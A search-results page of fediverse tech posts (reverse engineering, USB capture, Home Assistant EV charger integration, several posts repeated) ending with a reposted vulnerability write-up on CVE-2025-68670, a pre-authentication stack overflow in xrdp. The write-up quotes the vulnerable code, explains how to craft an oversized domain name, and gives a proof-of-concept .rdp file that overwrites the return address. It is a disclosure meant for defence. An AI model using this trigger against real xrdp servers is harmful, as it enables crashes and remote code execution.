Search

1000 results for “0x0”

Zeroday Podcast (stefan) @[email protected] · 2023-06-14 · 15:10 UTC

Die neue Episode ist online.
In Episode 0d106 teile ich ein paar Gedanken zu technischen Schulden mit Sven und bringe ihn gleichzeitig bei was technische Schulden sind.
Fälschlicherweise ziehe ich eine falsche Referenz zur Herkunft des Begriffs "Technische Schulden" aber Sven hat trotzdem was gelernt, womit das Ziel erreicht wurde.
https://0x0d.de/2023/06/0d106-technische-schulden/
#zeroday #podcast #episode #0x0d #it #Programmierung

#programmierung #it #0x0d #episode #podcast #zeroday
Leon Brocard @orangeacme · 2023-08-17 · 08:40 UTC

Interesting Content-Types I have noticed in the 2023-07 mobile HTTP Archive crawl:
Content-Type: [*/*]
Content-Type: */*
Content-Type: #<Mime::NullType:0x0000000cf50828>
Content-Type: <content-typeheader>
Content-Type: <img/>
Content-Type: $MIMETYPE
Content-Type: 2
Content-Type: AddType font/woff
Content-Type: all/all
Content-Type: application/jason
Content-Type: application/jon
Content-Type: Default
Content-Type: FALSE
Content-Type: IMAGE
#httpArchive #web

#httparchive #web
Kawaoneechan @[email protected] · 2026-03-18 · 18:28 UTC

Okay so. #AnimalCrossingNewHorizon shit! To recap, basically all on-screen text is stored in MSBT files. I think that's Message Studio Binary Tagged or sumth?
Basically, every line has an ID, is stored in UTF-16 (I think that's a header flag), and can contain tags. Tags are a 0x000E value followed by a function, sub-function, and argument count in bytes.
Got all that so far?

#animalcrossingnewhorizon
Rairii @[email protected] · 2022-12-23 · 15:23 UTC

so there's this 90s warez cd series called "the legacy", a number of which are being dumped today
they're of the type of the "menu pretends to be something else if you don't run it with the correct password", so I took a look in IDA.
the config file is gzipped and memecrypted (custom algorithm with xor-sub-add) by the key (5 bytes initialised by xor/not/add/sub by the entered key, one of the bytes is always 0 as it's ANDed with itself and initialised to 0 lol)
the first (key+1) bytes of plaintext equals the null terminated key.
the actual archive files? they claim to be "FMV files" and actually are a 0xE byte header (first 4 bytes are magic number 4E 43 FF 10, u32 at 0x0A is number of files), followed by gzipped data
the uncompressed data is an array of structures: 93 byte header (32-bit length at 0x9, null-terminated path at 0xD), followed by [length] bytes of data
no memecrypto at all on the actual warez, just a custom archive format gzipped
lol
#ReverseEngineering #reversing #MS_DOS #warezCD

#reverseengineering #reversing #ms_dos #warezcd
Habr @[email protected] · 2026-04-30 · 13:42 UTC

EIP-7702: прикручиваем код к EOA, где можно споткнуться?
EIP-7702 делает EOA похожим на смарт-контракт со всеми вытекающими. Что меняется в транзакциях, почему ломаются проверки msg.sender == tx.origin и address.code.length > 0 , как возникают коллизии хранилища при смене делегата, и что делать с приёмом ERC-721 и ETH. С примерами на Foundry и связкой с ERC-4337.
https://habr.com/ru/articles/1029386/
#EIP7702 #Smart_account #абстракция_аккаунта #account_abstraction #ethereum #authorization_list #transaction_type_0x04 #Solidity #Pectra #блокчейн

#блокчейн #pectra #solidity #transaction_type_0x04 #authorization_list #ethereum
JJTech @[email protected] · 2026-05-07 · 15:33 UTC
For anyone else capturing #USB on #macOS on Apple Silicon:
It does work, you just have to disable SIP entirely first (individual flags don't work, need csrutil disable)
You need to manually set the correct interface up, e.g. sudo ifconfig XHC2 up
For identifying a specific device, the easiest way is to correlate with IORegistryExplorer.
For example:
```
iPhone@02100000
        ^
    XHC interface
```
Once you start the capture in Wireshark, you can filter to just that device using
```
usb.darwin.location_id == 0x02100000
```
#usb #macos
JJTech @[email protected] · 2026-05-07 · 15:33 UTC
For anyone else capturing #USB on #macOS on Apple Silicon:
It does work, you just have to disable SIP entirely first (individual flags don't work, need csrutil disable)
You need to manually set the correct interface up, e.g. sudo ifconfig XHC2 up
For identifying a specific device, the easiest way is to correlate with IORegistryExplorer.
For example:
```
iPhone@02100000
        ^
    XHC interface
```
Once you start the capture in Wireshark, you can filter to just that device using
```
usb.darwin.location_id == 0x02100000
```
#usb #macos
Daniele Verducci 🧉 @[email protected] · 2025-04-13 · 09:16 UTC

So I looked at the #datasheet (https://files.waveshare.com/upload/2/29/7.5inch_e-paper-b-Specification.pdf) to find what I had to do to display some red colour. It seems I have to send 0x04 for each red #pixel, 0x03 for black and 0x00 for white.
Checked the existing #driver and, sure enough, it sends 0x03 and 0x00! This seems to be the right way.
[continues]

#datasheet #driver #pixel
Daniele Verducci 🧉 @[email protected] · 2025-04-13 · 09:16 UTC

So I looked at the #datasheet (https://files.waveshare.com/upload/2/29/7.5inch_e-paper-b-Specification.pdf) to find what I had to do to display some red colour. It seems I have to send 0x04 for each red #pixel, 0x03 for black and 0x00 for white.
Checked the existing #driver and, sure enough, it sends 0x03 and 0x00! This seems to be the right way.
[continues]

#datasheet #driver #pixel
Daniele Verducci 🧉 @[email protected] · 2025-04-13 · 09:16 UTC

So I looked at the #datasheet (https://files.waveshare.com/upload/2/29/7.5inch_e-paper-b-Specification.pdf) to find what I had to do to display some red colour. It seems I have to send 0x04 for each red #pixel, 0x03 for black and 0x00 for white.
Checked the existing #driver and, sure enough, it sends 0x03 and 0x00! This seems to be the right way.
[continues]

#datasheet #driver #pixel
Daniele Verducci 🧉 @[email protected] · 2025-04-13 · 09:16 UTC

So I looked at the #datasheet (https://files.waveshare.com/upload/2/29/7.5inch_e-paper-b-Specification.pdf) to find what I had to do to display some red colour. It seems I have to send 0x04 for each red #pixel, 0x03 for black and 0x00 for white.
Checked the existing #driver and, sure enough, it sends 0x03 and 0x00! This seems to be the right way.
[continues]

#pixel #driver #datasheet
Crypto News @[email protected] · 2024-04-17 · 17:37 UTC

8 AI-Based Altcoins To Sell As Investors Rebalance Portfolios For 100X Potential - The cryptocurrency market is undergoing a notable shift, with AI-based altcoins becoming ... - https://coingape.com/markets/8-ai-based-altcoins-to-sell-as-investors-rebalance-portfolios-for-100x-potential/ #priceanalysis #render(rndr) #fetprice #0x0.ai. #grtusd #ocean #agix #arkm #tao

#tao #arkm #agix #ocean #grtusd #0x0
John Kristoff @[email protected] · 2026-03-13 · 20:34 UTC

Weekend Reads
* Post-quantum RPKI framework
https://arxiv.org/abs/2603.06968
* DNSSEC negative trust anchors
https://quad9.net/news/blog/dnssec-ntas-no-good-compromises/
* AS112 deployment characteristics
https://0x03c0.com/files/pam26-as112-camera-ready-with-notice.pdf
* Geoff Huston on Internet timekeeping
https://www.potaroo.net/ispcol/2026-03/nts.html
* Measuring IX route servers prefix coverage
https://blog.benjojo.co.uk/post/how-far-can-you-get-with-ix-route-servers
#RPKI #DNSSEC #DNS #NTP #BGP

#rpki #dnssec #dns #ntp #bgp
Tomi @[email protected] · 2026-03-19 · 19:00 UTC
**Integrating Deye EV charger to Home Assistant**
TL;DR
It works, somehow, via ha-solarman integration.
Charger type: Deye SUN-EVSE22K01-EU-AC
What works
I managed to integrate 2 entities for now:
- EV charger control power
- Max EV charging power
The process
I’ve started with David Rapan’s ha-solarman integration which works well with my Deye inverter (SUN-12K-SG04LP3-EU).
Then I edited config/custom_components/solarman/inverter_definitions/deye_p3.yaml and added:
```
#EV test
  - group: EV Charger
    items:
      - name: "EV Charge Control Power"
        l: 1
        class: "power"
        state_class: "measurement"
        uom: "W"
        rule: 1
        scale: 1
        registers: [0x02C5]
        icon: "mdi:car-electric"
 
      - name: EV Max Charge power
        alt: EV Max Charge power
        platform: number
        class: "power"
        state_class: "measurement"
        uom: "W"
        scale: 1
        rule: 1
        registers: [0x0104]
        configurable:
          min: 0
          max: 22000
        range:
          min: 0
          max: 22000
```
Restarted HA and those 2 entities appeared in solarman device:
Both entities show the same data as Deye’s app. I can set EV Max Charging Power and it will reflect in the app and the inverter.
About “EV Charge Control Power” entity – Inverter tells the charger what is the max allowed charging power (for example, how much is the solar power excess).
Today it changed like this: (it was cloudy and I had ‘solar only’ enabled):
Don’t mind the initial spike, I wrongly set the scale factor (x10).
I call it partial success.
What doesn’t work (yet)
I still didn’t find modbus register for the most important entity: actual charging power. If exists at all. Maybe there is no mapping from EV charger to modbus registers. I’m communicating with Deye tech support, but I didn’t get the answer yet. Though, they sent me an updated modbus registers document.
I’m still working on EV charger configuration settings (Solar only, Grid off–>Charger Off, Free work, EV port Load/Grid). I found the register in Deye docs, but haven’t implemented yet (some bit manipulation needed):
AddrRegister meaningR/Wdata rangeunitnote259EV_charge_modeR/W[0x0，0xFFFF]
High 8 bits: Off grid SOC Low 8 bits: Bit0:solar energy only Bit1:free work Bit4:EV_charge device connet at Grid port Bit5:EV_charge device connect at LD port
Anyone?
If anyone knows which register holds actual charging power value, consumption, charging schedules, please let me know.
https://blog.rozman.info/integrating-deye-ev-charger-to-home-assistant/ #deye #evcharger #homeassistant
#deye #evcharger #homeassistant
Tomi @[email protected] · 2026-03-19 · 19:00 UTC
**Integrating Deye EV charger to Home Assistant**
(link to blog)
TL;DR
Integration of Deye EV charger to HA works (somehow) via ha-solarman integration (EV control power, Max. charging power) and parsing of EV charger local admin web page + Command line HA integration to get realtime charging power and energy.
Charger type: Deye SUN-EVSE22K01-EU-AC, connected to Deye’s inverter via LoRa and Wifi.
What works
I managed to integrate 2 entities via ha-solarman/modbus for now:
Via Solarman/modbus registers:
- EV charger control power
- Max EV charging power
And also (via scraping of EV charger admin web page + Command line HA integration):
- L1 Power
- L2 Power
- L3 Power
The process (reading modbus registers)
I’ve started with David Rapan’s ha-solarman integration which works well with my Deye inverter (SUN-12K-SG04LP3-EU).
Then I edited config/custom_components/solarman/inverter_definitions/deye_p3.yaml and added:
```
#EV test
  - group: EV Charger
    items:
      - name: "EV Charge Control Power"
        l: 1
        class: "power"
        state_class: "measurement"
        uom: "W"
        rule: 1
        scale: 1
        registers: [0x02C5]
        icon: "mdi:car-electric"
 
      - name: EV Max Charge power
        alt: EV Max Charge power
        platform: number
        class: "power"
        state_class: "measurement"
        uom: "W"
        scale: 1
        rule: 1
        registers: [0x0104]
        configurable:
          min: 0
          max: 22000
        range:
          min: 0
          max: 22000
```
Restarted HA and those 2 entities appeared in solarman device:
Both entities show the same data as Deye’s app. I can set EV Max Charging Power and it will reflect in the app and the inverter.
About “EV Charge Control Power” entity – Inverter tells the charger what is the max allowed charging power (for example, how much is the solar power excess).
Today the control power swinged like this: (it was cloudy and I had ‘solar only’ enabled):
Don’t mind the initial spike, I wrongly set the scale factor (x10).
I call it partial success.
What doesn’t work (yet) via solarman/modbus
I still didn’t find modbus register for the most important entity: actual charging power. If exists at all. Maybe there is no mapping from EV charger to modbus registers. I’m communicating with Deye tech support, but I didn’t get the answer yet. Though, they sent me an updated modbus registers document.
I’m still working on EV charger configuration settings (Solar only, Grid off–>Charger Off, Free work, EV port Load/Grid). I found the register in Deye docs, but haven’t implemented yet (some bit manipulation needed):
AddrRegister meaningR/Wdata rangeunitnote259EV_charge_modeR/W[0x0，0xFFFF]
High 8 bits: Off grid SOC Low 8 bits: Bit0:solar energy only Bit1:free work Bit4:EV_charge device connet at Grid port Bit5:EV_charge device connect at LD port
Anyone?
If anyone knows which modbus register holds actual charging power value, consumption, charging schedules, please let me know.
Workaround – getting data from EV charger via http / local web interface
Anyways, while waiting for Deye’s support to answer me which modbus registers contain actual charging power, I managed to get these numbers by parsing the EV charger’s web interface.
1. I wrote a little curl script to get L1, L2 and L3 power from charger’s web interface. I found they’re hidden besides webdata_power1,2,3 variables:
get_EV_power.sh file:
```
#!/bin/sh

DATA=$(curl -u user:pass -s http://EV_CHARGER_IP_ADDR/status.html)

P1=$(echo "$DATA" | sed -n 's/.*webdata_power1[[:space:]]*=[[:space:]]*"$[0-9]\+$".*/\1/p')
P2=$(echo "$DATA" | sed -n 's/.*webdata_power2[[:space:]]*=[[:space:]]*"$[0-9]\+$".*/\1/p')
P3=$(echo "$DATA" | sed -n 's/.*webdata_power3[[:space:]]*=[[:space:]]*"$[0-9]\+$".*/\1/p')

echo "${P1:-0},${P2:-0},${P3:-0}"
```
This script returns power of 3 phases in format X, Y, Z. The reason to put all three values together is to make only one http request instead of 3 (one for each phase).
2. Made it executable: chmod +x get_EV_power.sh
3. I put this script in Home Assistant’s directory /config/scripts/get_EV_power.sh
4. created new Command line sensor in my configuration yaml that executes the script above:
```
command_line:
  - sensor:
      name: EV Charger Raw
      command: "/config/scripts/get_EV_power2.sh"
      scan_interval: 10
```
Then I added 3 sensors for each phase’s power and one combined sensor (summary charging power):
```
template:
  - sensor:
      - name: EV Power L1
        state: "{{ states('sensor.ev_charger_raw').split(',')[0] | int }}"
        unit_of_measurement: "W"
        device_class: power
        state_class: measurement

      - name: EV Power L2
        state: "{{ states('sensor.ev_charger_raw').split(',')[1] | int }}"
        unit_of_measurement: "W"
        device_class: power
        state_class: measurement

      - name: EV Power L3
        state: "{{ states('sensor.ev_charger_raw').split(',')[2] | int }}"
        unit_of_measurement: "W"
        device_class: power
        state_class: measurement

#summary charging power
      - name: EV Charger Power
        device_class: power
        state_class: measurement
        unit_of_measurement: "W"
        state: >
          {{ states('sensor.ev_power_l1') | int(0) + states('sensor.ev_power_l2') | int(0) +  states('sensor.ev_power_l3') | int(0) }}
```
5. Created a dashboard for tracking charging power:
6. Added my power sensor to Powercalc, to calculate the energy (using integration) needed for charging (kWh) and let it create some helpers: daily, weekly, monthly, yearly consumption.
7. Added power consumption to my power and energy dashboards:
Conclusion
Anyways, it works, now I can track the (almost realtime) power and consumption of the EV charger, which was the main goal.
The integration of Deye’s EV charger to HA could be easier, if Deye disclosed all inverter’s modbus registers OR provided a documented local API to the EV charger.
I wonder if companies that produce IoT aren’t aware that if they make the access to their devices easy for tinkerers like me, this is free marketing / recommendation for them. I would never recommend devices with closed local access to anyone.
Deye’s openness is so-so. It definitely could be improved. The local access is at least somehow possible, but not well documented and hacky.
https://blog.rozman.info/integrating-deye-ev-charger-to-home-assistant/ #deye #evcharger #homeassistant
#deye #evcharger #homeassistant
Tomi @[email protected] · 2026-03-19 · 19:00 UTC
**Integrating Deye EV charger to Home Assistant**
TL;DR
It works, somehow, via ha-solarman integration.
Charger type: Deye SUN-EVSE22K01-EU-AC
What works
I managed to integrate 2 entities for now:
- EV charger control power
- Max EV charging power
The process
I’ve started with David Rapan’s ha-solarman integration which works well with my Deye inverter (SUN-12K-SG04LP3-EU).
Then I edited config/custom_components/solarman/inverter_definitions/deye_p3.yaml and added:
```
#EV test
  - group: EV Charger
    items:
      - name: "EV Charge Control Power"
        l: 1
        class: "power"
        state_class: "measurement"
        uom: "W"
        rule: 1
        scale: 1
        registers: [0x02C5]
        icon: "mdi:car-electric"
 
      - name: EV Max Charge power
        alt: EV Max Charge power
        platform: number
        class: "power"
        state_class: "measurement"
        uom: "W"
        scale: 1
        rule: 1
        registers: [0x0104]
        configurable:
          min: 0
          max: 22000
        range:
          min: 0
          max: 22000
```
Restarted HA and those 2 entities appeared in solarman device:
Both entities show the same data as Deye’s app. I can set EV Max Charging Power and it will reflect in the app and the inverter.
About “EV Charge Control Power” entity – Inverter tells the charger what is the max allowed charging power (for example, how much is the solar power excess).
Today it changed like this: (it was cloudy and I had ‘solar only’ enabled):
Don’t mind the initial spike, I wrongly set the scale factor (x10).
I call it partial success.
What doesn’t work (yet)
I still didn’t find modbus register for the most important entity: actual charging power. If exists at all. Maybe there is no mapping from EV charger to modbus registers. I’m communicating with Deye tech support, but I didn’t get the answer yet. Though, they sent me an updated modbus registers document.
I’m still working on EV charger configuration settings (Solar only, Grid off–>Charger Off, Free work, EV port Load/Grid). I found the register in Deye docs, but haven’t implemented yet (some bit manipulation needed):
AddrRegister meaningR/Wdata rangeunitnote259EV_charge_modeR/W[0x0，0xFFFF]
High 8 bits: Off grid SOC Low 8 bits: Bit0:solar energy only Bit1:free work Bit4:EV_charge device connet at Grid port Bit5:EV_charge device connect at LD port
Anyone?
If anyone knows which register holds actual charging power value, consumption, charging schedules, please let me know.
https://blog.rozman.info/integrating-deye-ev-charger-to-home-assistant/ #deye #evcharger #homeassistant
#deye #evcharger #homeassistant
Tomi @[email protected] · 2026-03-19 · 19:00 UTC
**Integrating Deye EV charger to Home Assistant**
TL;DR
It works, somehow, via ha-solarman integration.
Charger type: Deye SUN-EVSE22K01-EU-AC
What works
I managed to integrate 2 entities for now:
- EV charger control power
- Max EV charging power
The process
I’ve started with David Rapan’s ha-solarman integration which works well with my Deye inverter (SUN-12K-SG04LP3-EU).
Then I edited config/custom_components/solarman/inverter_definitions/deye_p3.yaml and added:
```
#EV test
  - group: EV Charger
    items:
      - name: "EV Charge Control Power"
        l: 1
        class: "power"
        state_class: "measurement"
        uom: "W"
        rule: 1
        scale: 1
        registers: [0x02C5]
        icon: "mdi:car-electric"
 
      - name: EV Max Charge power
        alt: EV Max Charge power
        platform: number
        class: "power"
        state_class: "measurement"
        uom: "W"
        scale: 1
        rule: 1
        registers: [0x0104]
        configurable:
          min: 0
          max: 22000
        range:
          min: 0
          max: 22000
```
Restarted HA and those 2 entities appeared in solarman device:
Both entities show the same data as Deye’s app. I can set EV Max Charging Power and it will reflect in the app and the inverter.
About “EV Charge Control Power” entity – Inverter tells the charger what is the max allowed charging power (for example, how much is the solar power excess).
Today it changed like this: (it was cloudy and I had ‘solar only’ enabled):
Don’t mind the initial spike, I wrongly set the scale factor (x10).
I call it partial success.
What doesn’t work (yet)
I still didn’t find modbus register for the most important entity: actual charging power. If exists at all. Maybe there is no mapping from EV charger to modbus registers. I’m communicating with Deye tech support, but I didn’t get the answer yet. Though, they sent me an updated modbus registers document.
I’m still working on EV charger configuration settings (Solar only, Grid off–>Charger Off, Free work, EV port Load/Grid). I found the register in Deye docs, but haven’t implemented yet (some bit manipulation needed):
AddrRegister meaningR/Wdata rangeunitnote259EV_charge_modeR/W[0x0，0xFFFF]
High 8 bits: Off grid SOC Low 8 bits: Bit0:solar energy only Bit1:free work Bit4:EV_charge device connet at Grid port Bit5:EV_charge device connect at LD port
Anyone?
If anyone knows which register holds actual charging power value, consumption, charging schedules, please let me know.
https://blog.rozman.info/integrating-deye-ev-charger-to-home-assistant/ #deye #evcharger #homeassistant
#homeassistant #evcharger #deye
Tomi @[email protected] · 2026-03-19 · 19:00 UTC
**Integrating Deye EV charger to Home Assistant**
TL;DR
It works, somehow, via ha-solarman integration.
Charger type: Deye SUN-EVSE22K01-EU-AC
What works
I managed to integrate 2 entities for now:
- EV charger control power
- Max EV charging power
The process
I’ve started with David Rapan’s ha-solarman integration which works well with my Deye inverter (SUN-12K-SG04LP3-EU).
Then I edited config/custom_components/solarman/inverter_definitions/deye_p3.yaml and added:
```
#EV test
  - group: EV Charger
    items:
      - name: "EV Charge Control Power"
        l: 1
        class: "power"
        state_class: "measurement"
        uom: "W"
        rule: 1
        scale: 1
        registers: [0x02C5]
        icon: "mdi:car-electric"
 
      - name: EV Max Charge power
        alt: EV Max Charge power
        platform: number
        class: "power"
        state_class: "measurement"
        uom: "W"
        scale: 1
        rule: 1
        registers: [0x0104]
        configurable:
          min: 0
          max: 22000
        range:
          min: 0
          max: 22000
```
Restarted HA and those 2 entities appeared in solarman device:
Both entities show the same data as Deye’s app. I can set EV Max Charging Power and it will reflect in the app and the inverter.
About “EV Charge Control Power” entity – Inverter tells the charger what is the max allowed charging power (for example, how much is the solar power excess).
Today it changed like this: (it was cloudy and I had ‘solar only’ enabled):
Don’t mind the initial spike, I wrongly set the scale factor (x10).
I call it partial success.
What doesn’t work (yet)
I still didn’t find modbus register for the most important entity: actual charging power. If exists at all. Maybe there is no mapping from EV charger to modbus registers. I’m communicating with Deye tech support, but I didn’t get the answer yet. Though, they sent me an updated modbus registers document.
I’m still working on EV charger configuration settings (Solar only, Grid off–>Charger Off, Free work, EV port Load/Grid). I found the register in Deye docs, but haven’t implemented yet (some bit manipulation needed):
AddrRegister meaningR/Wdata rangeunitnote259EV_charge_modeR/W[0x0，0xFFFF]
High 8 bits: Off grid SOC Low 8 bits: Bit0:solar energy only Bit1:free work Bit4:EV_charge device connet at Grid port Bit5:EV_charge device connect at LD port
Anyone?
If anyone knows which register holds actual charging power value, consumption, charging schedules, please let me know.
https://blog.rozman.info/integrating-deye-ev-charger-to-home-assistant/ #deye #evcharger #homeassistant
#deye #evcharger #homeassistant
Cybersecurity & cyberwarfare @[email protected] · 2026-05-08 · 08:00 UTC
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation

